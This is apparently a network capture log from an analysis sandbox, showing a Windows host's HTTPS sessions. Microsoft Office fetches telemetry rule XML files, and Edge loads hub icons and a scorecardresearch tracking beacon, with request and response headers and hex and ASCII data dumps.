2024-11-24 22:24:36 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:36 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:36 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 95105883-701e-001e-6118-3df5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222436Z-178bfbc474bvjk8shC1NYC83ns00000006eg000000007t5y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:36 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:36 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:36 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: be1025a3-a01e-0002-661b-3d5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222436Z-178bfbc474b9fdhphC1NYCac0n00000006f000000000dbz9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:37 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:36 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:37 UTC	471	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:37 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: b12c7864-501e-007b-43bf-3e5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222437Z-178bfbc474bvjk8shC1NYC83ns00000006fg000000005cxv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-24 22:24:37 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:36 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:37 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: c49e358a-d01e-008e-6463-3b387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222437Z-178bfbc474bw8bwphC1NYC38b400000006h00000000001ab x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:37 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49795	18.165.220.57	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:37 UTC	925	OUT	GET /b?rn=1732487076699&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0A261308FCDB683529D90649FDDC6975&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 22:24:38 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Sun, 24 Nov 2024 22:24:38 GMT Accept-CH: UA, Platform, Arch, Model, Mobile Location: /b2?rn=1732487076699&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0A261308FCDB683529D90649FDDC6975&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1213e31350db9ecba7d85411732487078; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1213e31350db9ecba7d85411732487078; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 X-Cache: Miss from cloudfront Via: 1.1 47ee4fe14f23efe91f211cb8c7e62ea8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-P1 X-Amz-Cf-Id: WMhmA9_omjSr2j9kH88U9cs3_5dXftlCL6PHXuMj2z6Z1noKO2_gJA==

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:38 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:38 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: ed298b8a-a01e-0002-322d-3c5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222438Z-178bfbc474bh5zbqhC1NYCkdug00000006c000000000rk52 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:38 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:38 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:38 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 87817176-601e-003e-034d-3c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222438Z-15b8b599d88s6mj9hC1TEBur3000000004t000000000mh5p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:38 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49832	13.107.246.40	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:38 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 22:24:39 UTC	516	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:39 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 6aa767e1-801e-005f-34bf-3e9af9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241124T222438Z-15b8b599d88vp97chC1TEB5pzw00000004zg00000000dnyu Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-24 22:24:39 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49831	13.107.246.40	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:38 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 22:24:39 UTC	536	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:38 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: babfa74a-801e-0039-719c-3e28a3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241124T222438Z-15b8b599d882hxlwhC1TEBfa5w00000004xg00000000cqgu Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 22:24:39 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49834	13.107.246.40	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:38 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 22:24:39 UTC	536	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:38 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 3105844f-b01e-0031-3d8a-3e33d0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241124T222438Z-15b8b599d88cn5thhC1TEBqxkn0000000500000000005864 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 22:24:39 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49836	13.107.246.40	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:38 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 22:24:39 UTC	516	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:39 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: fe96ec46-701e-0005-28bf-3e9c78000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241124T222438Z-174c587ffdfdwxdvhC1TEB1c4n00000004v000000000t8f3 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
